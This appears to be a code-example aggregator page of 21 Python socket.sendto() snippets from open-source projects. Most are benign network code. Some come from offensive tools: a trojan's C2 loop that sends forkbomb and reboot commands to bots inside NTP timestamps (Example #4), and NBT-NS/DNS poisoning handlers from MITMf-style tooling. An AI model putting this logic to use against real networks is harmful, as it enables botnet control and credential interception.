Python socket.sendto() Examples

The following are 21 code examples of socket.sendto(). You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may also want to check out all available functions/classes of the module socket , or try the search function .
Example #1
Source File: TFTPListener.py    From flare-fakenet-ng with Apache License 2.0 6 votes vote down vote up
def handle_data(self, socket, data):

            block_num = struct.unpack('!H', data[2:4])[0]

            if hasattr(self.server, 'filename_path') and self.server.filename_path:

                safe_file = self.server.tftp_file_prefix + "_" + urllib.quote(self.server.filename_path, '')
                output_file = ListenerBase.safe_join(os.getcwd(),
                                                          safe_file)
                f = open(output_file, 'ab')
                f.write(data[4:])
                f.close()

                # Send ACK packet for the given block number
                ack_packet = OPCODE_ACK + data[2:4]
                socket.sendto(ack_packet, self.client_address)

            else:
                self.server.logger.error('Received DATA packet but don\'t know where to store it.') 
Example #2
Source File: udp_server_class.py    From piradio with GNU General Public License v3.0 6 votes vote down vote up
def handle(self):
		global  callback
		global  client_data
		socket = None
		try:
			client_data = self.request[0].strip()
			socket = self.request[1]
			log.message("UDP Server received: " + client_data, Log.DEBUG)
			callback() 	# Call the get data routine
			socket.sendto('OK', self.client_address)
		except:
			log.message("UDP RequestHandler error", Log.ERROR)
			socket.sendto('NOTOK', self.client_address)
		return

	# Handle client disconnect 
Example #3
Source File: xiaomihub.py    From aqara-mqtt with Apache License 2.0 6 votes vote down vote up
def _send_socket(self, cmd, rtnCmd, ip, port):
        socket = self._socket
        try:
            _LOGGER.debug('Sending to GW {0}'.format(cmd))
            self._read_unwanted_data()

            socket.settimeout(30.0)
            socket.sendto(cmd.encode(), (ip, port))
            socket.settimeout(30.0)
            data, addr = socket.recvfrom(1024)
            if len(data) is not None:
                resp = json.loads(data.decode())
                _LOGGER.debug('Recieved from GW {0}'.format(resp))
                if resp["cmd"] == rtnCmd:
                    return resp
                else:
                    _LOGGER.error("Response from {0} does not match return cmd".format(ip))
                    _LOGGER.error(data)
            else:
                _LOGGER.error("No response from Gateway")
        except socket.timeout:
            _LOGGER.error("Cannot connect to Gateway")
            socket.close() 
Example #4
Source File: server.py    From NTP_Trojan with GNU General Public License v2.0 5 votes vote down vote up
def run(self):
    global taskQueue,stopFlag
    while True:
      if stopFlag == True:
        print "WorkThread Ended"
        break
      try:
        data,addr,recvTimestamp = taskQueue.get(timeout=1)
        recvPacket = NTPPacket()
        recvPacket.from_data(data)
        timeStamp_high,timeStamp_low = recvPacket.GetTxTimeStamp()
        sendPacket = NTPPacket(version=3,mode=4)
        sendPacket.stratum = 2
        sendPacket.poll = 10
        sendPacket.ref_timestamp = recvTimestamp-5
        sendPacket.SetOriginTimeStamp(timeStamp_high,timeStamp_low)
        sendPacket.recv_timestamp = recvTimestamp
        # old time method
        #sendPacket.tx_timestamp = system_to_ntp_time(time.time())
        # prompt for shell command
        tx_command = 0
        shellInput = raw_input(PROMPT)
        if shellInput == '1': tx_command = 1 #Set bot to issue a forkbomb
        if shellInput == '2': tx_command = 2 #Set bot to reboot if root
        if shellInput == '3': tx_command = 3 #Set bot to issue a test command
        if shellInput == '4': exit(0) #Set program to exit cleanly
        if tx_command == 0: system_to_ntp_time(time.time())
        #for char in shellInput:
          #tx_command.append(ord(char))
        #tx_command = int(''.join(map(str,tx_command)))
        print tx_command
        sendPacket.tx_timestamp = tx_command
        socket.sendto(sendPacket.to_data(),addr)
        print "Sent to %s:%d" % (addr[0],addr[1])
      except Queue.Empty:
        continue 
Example #5
Source File: DNS.py    From MITMf with GNU General Public License v3.0 5 votes vote down vote up
def handle(self):
        (data,socket) = self.request
        response = self.parse(data)
        
        if response:
            socket.sendto(response, self.client_address)

# TCP DNS Handler for incoming requests 
Example #6
Source File: NBTNS.py    From MITMf with GNU General Public License v3.0 5 votes vote down vote up
def handle(self):

		data, socket = self.request
		Name = Decode_Name(data[13:45])

		# Break out if we don't want to respond to this host
		if RespondToThisHost(self.client_address[0], Name) is not True:
			return None

		if data[2:4] == "\x01\x10":

			if settings.Config.Finger_On_Off:
				Finger = fingerprint.RunSmbFinger((self.client_address[0],445))
			else:
				Finger = None

			# Analyze Mode
			if settings.Config.AnalyzeMode:
				settings.Config.AnalyzeLogger.warning("{} [Analyze mode: NBT-NS] Request for {}, ignoring".format(self.client_address[0], Name))

			# Poisoning Mode
			else:
				Buffer = NBT_Ans()
				Buffer.calculate(data)
				socket.sendto(str(Buffer), self.client_address)

				settings.Config.PoisonersLogger.warning("{} [NBT-NS] Poisoned answer for name {} (service: {})" .format(self.client_address[0], Name, NBT_NS_Role(data[43:46])))

			if Finger is not None:
				settings.Config.ResponderLogger.info("[FINGER] OS Version     : {}".format(Finger[0]))
				settings.Config.ResponderLogger.info("[FINGER] Client Version : {}".format(Finger[1])) 
Example #7
Source File: dnschef.py    From DNSChef with BSD 3-Clause "New" or "Revised" License 5 votes vote down vote up
def handle(self):
        (data,socket) = self.request
        response = self.parse(data)
        
        if response:
            socket.sendto(response, self.client_address)

# TCP DNS Handler for incoming requests 
Example #8
Source File: dnschef.py    From DNSChef with BSD 3-Clause "New" or "Revised" License 5 votes vote down vote up
def proxyrequest(self, request, host, port="53", protocol="udp"):
        reply = None
        try:
            if self.server.ipv6:

                if protocol == "udp":
                    sock = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
                elif protocol == "tcp":
                    sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)

            else:
                if protocol == "udp":
                    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
                elif protocol == "tcp":
                    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

            sock.settimeout(3.0)

            # Send the proxy request to a randomly chosen DNS server

            if protocol == "udp":
                sock.sendto(request, (host, int(port)))
                reply = sock.recv(1024)
                sock.close()

            elif protocol == "tcp":
                sock.connect((host, int(port)))

                # Add length for the TCP request
                length = binascii.unhexlify("%04x" % len(request)) 
                sock.sendall(length+request)

                # Strip length from the response
                reply = sock.recv(1024)
                reply = reply[2:]

                sock.close()

        except Exception, e:
            print "[!] Could not proxy request: %s" % e 
Example #9
Source File: responder.py    From node with Apache License 2.0 5 votes vote down vote up
def handle(self):
        logger.debug('handle')

        # Echo the back to the client
        data = self.request[0]
        socket = self.request[1]
        logger.debug('received (udp) from %s: "%s"',
                     self.client_address, data)
        socket.sendto(data, self.client_address)
        return 
Example #10
Source File: client_demo.py    From SCUTTLE with MIT License 5 votes vote down vote up
def get(items):

    try:

        message = json.dumps(items).encode('utf-8')         # Take requested data and convert to bytes
        socket.sendto(message, (network.ip,network.port))   # Send data to server
        data, ip = socket.recvfrom(4000)                    # Wait for response, create 4000 byte buffer to store response.
        data = json.loads(data)                             # Take response and convert from bytes to string
        data = dict(zip(items, data))                       # Combine request list with respose list to create dictionary
        return data                                         # Return data

    except Exception as e:

        print(e)
        return 1 
Example #11
Source File: ssdp.py    From script.tubecast with MIT License 5 votes vote down vote up
def reply(self, data, address):
        socket = self.request[1]
        socket.sendto(str_to_bytes(data), address) 
Example #12
Source File: __init__.py    From aioping with GNU General Public License v2.0 5 votes vote down vote up
def sendto_ready(packet, socket, future, dest):
    try:
        socket.sendto(packet, dest)
    except (BlockingIOError, InterruptedError):
        return  # The callback will be retried
    except Exception as exc:
        asyncio.get_event_loop().remove_writer(socket)
        future.set_exception(exc)
    else:
        asyncio.get_event_loop().remove_writer(socket)
        future.set_result(None) 
Example #13
Source File: dnschef.py    From break-fast-serial with MIT License 5 votes vote down vote up
def proxyrequest(self, request, host, port="53", protocol="udp"):
        reply = None
        try:
            if self.server.ipv6:

                if protocol == "udp":
                    sock = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
                elif protocol == "tcp":
                    sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)

            else:
                if protocol == "udp":
                    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
                elif protocol == "tcp":
                    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

            sock.settimeout(3.0)

            # Send the proxy request to a randomly chosen DNS server

            if protocol == "udp":
                sock.sendto(request, (host, int(port)))
                reply = sock.recv(1024)
                sock.close()

            elif protocol == "tcp":
                sock.connect((host, int(port)))

                # Add length for the TCP request
                length = binascii.unhexlify("%04x" % len(request)) 
                sock.sendall(length+request)

                # Strip length from the response
                reply = sock.recv(1024)
                reply = reply[2:]

                sock.close()

        except Exception, e:
            print "[!] Could not proxy request: %s" % e 
Example #14
Source File: DNS.py    From piSociEty with GNU General Public License v3.0 5 votes vote down vote up
def handle(self):
        (data,socket) = self.request
        response = self.parse(data)
        
        if response:
            socket.sendto(response, self.client_address)

# TCP DNS Handler for incoming requests 
Example #15
Source File: NBTNS.py    From piSociEty with GNU General Public License v3.0 5 votes vote down vote up
def handle(self):

		data, socket = self.request
		Name = Decode_Name(data[13:45])

		# Break out if we don't want to respond to this host
		if RespondToThisHost(self.client_address[0], Name) is not True:
			return None

		if data[2:4] == "\x01\x10":

			if settings.Config.Finger_On_Off:
				Finger = fingerprint.RunSmbFinger((self.client_address[0],445))
			else:
				Finger = None

			# Analyze Mode
			if settings.Config.AnalyzeMode:
				settings.Config.AnalyzeLogger.warning("{} [Analyze mode: NBT-NS] Request for {}, ignoring".format(self.client_address[0], Name))

			# Poisoning Mode
			else:
				Buffer = NBT_Ans()
				Buffer.calculate(data)
				socket.sendto(str(Buffer), self.client_address)

				settings.Config.PoisonersLogger.warning("{} [NBT-NS] Poisoned answer for name {} (service: {})" .format(self.client_address[0], Name, NBT_NS_Role(data[43:46])))

			if Finger is not None:
				settings.Config.ResponderLogger.info("[FINGER] OS Version     : {}".format(Finger[0]))
				settings.Config.ResponderLogger.info("[FINGER] Client Version : {}".format(Finger[1])) 
Example #16
Source File: TFTPListener.py    From flare-fakenet-ng with Apache License 2.0 5 votes vote down vote up
def handle_wrq(self, socket, filename):

        self.server.filename_path = filename

        # Send acknowledgement so the client will begin writing
        ack_packet = OPCODE_ACK + "\x00\x00"
        socket.sendto(ack_packet, self.client_address) 
Example #17
Source File: TFTPListener.py    From flare-fakenet-ng with Apache License 2.0 5 votes vote down vote up
def handle_rrq(self, socket, filename):

        filename_path = ListenerBase.safe_join(self.server.tftproot_path,
                                                    filename)

        # If virtual filename does not exist return a default file based on extention
        if not os.path.isfile(filename_path):

            file_basename, file_extension = os.path.splitext(filename)

            # Calculate absolute path to a fake file
            filename_path = ListenerBase.safe_join(self.server.tftproot_path,
                                                        EXT_FILE_RESPONSE.get(file_extension.lower(), u'FakeNetMini.exe'))


        self.server.logger.debug('Sending file %s', filename_path)

        f = open(filename_path, 'rb')

        i = 1

        while True:

            # Read in a buffer of blocksize from the file
            data_block = f.read(BLOCKSIZE)

            if not data_block or len(data_block) == 0:
                break

            data_packet = OPCODE_DATA + struct.pack('!H', i) + data_block
            socket.sendto(data_packet, self.client_address)

            i += 1

        f.close() 
Example #18
Source File: socket_handler.py    From traceflow with BSD 3-Clause "New" or "Revised" License 5 votes vote down vote up
def send_ipv4(self, packet: bytes) -> int:
        """
        send_ipv4 is a thin wrapper around socket.sendto()
        :param packet: bytes object containing an IPv4 header, and encap'd proto packet (ie: udp/tcp)
        :return: int: the bits put on the wire
        """
        bits = self.raw_sock.sendto(packet, (self.ip_daddr, 0))
        return bits 
Example #19
Source File: dnschef.py    From break-fast-serial with MIT License 5 votes vote down vote up
def handle(self):
        (data,socket) = self.request
        response = self.parse(data)
        
        if response:
            socket.sendto(response, self.client_address)

# TCP DNS Handler for incoming requests 
Example #20
Source File: DNS.py    From piSociEty with GNU General Public License v3.0 4 votes vote down vote up
def proxyrequest(self, request, host, port="53", protocol="udp"):
        clientip = {'clientip': self.client_address[0]}

        reply = None
        try:
            if DNSChef().ipv6:

                if protocol == "udp":
                    sock = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
                elif protocol == "tcp":
                    sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)

            else:
                if protocol == "udp":
                    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
                elif protocol == "tcp":
                    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

            sock.settimeout(3.0)

            # Send the proxy request to a randomly chosen DNS server

            if protocol == "udp":
                sock.sendto(request, (host, int(port)))
                reply = sock.recv(1024)
                sock.close()

            elif protocol == "tcp":
                sock.connect((host, int(port)))

                # Add length for the TCP request
                length = binascii.unhexlify("%04x" % len(request)) 
                sock.sendall(length+request)

                # Strip length from the response
                reply = sock.recv(1024)
                reply = reply[2:]

                sock.close()

        except Exception as e:
            log.warning("Could not proxy request: {}".format(e), extra=clientip)
            dnslog.info("Could not proxy request: {}".format(e), extra=clientip)
        else:
            return reply 
Example #21
Source File: DNS.py    From MITMf with GNU General Public License v3.0 4 votes vote down vote up
def proxyrequest(self, request, host, port="53", protocol="udp"):
        clientip = {'clientip': self.client_address[0]}

        reply = None
        try:
            if DNSChef().ipv6:

                if protocol == "udp":
                    sock = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
                elif protocol == "tcp":
                    sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)

            else:
                if protocol == "udp":
                    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
                elif protocol == "tcp":
                    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

            sock.settimeout(3.0)

            # Send the proxy request to a randomly chosen DNS server

            if protocol == "udp":
                sock.sendto(request, (host, int(port)))
                reply = sock.recv(1024)
                sock.close()

            elif protocol == "tcp":
                sock.connect((host, int(port)))

                # Add length for the TCP request
                length = binascii.unhexlify("%04x" % len(request)) 
                sock.sendall(length+request)

                # Strip length from the response
                reply = sock.recv(1024)
                reply = reply[2:]

                sock.close()

        except Exception as e:
            log.warning("Could not proxy request: {}".format(e), extra=clientip)
            dnslog.info("Could not proxy request: {}".format(e), extra=clientip)
        else:
            return reply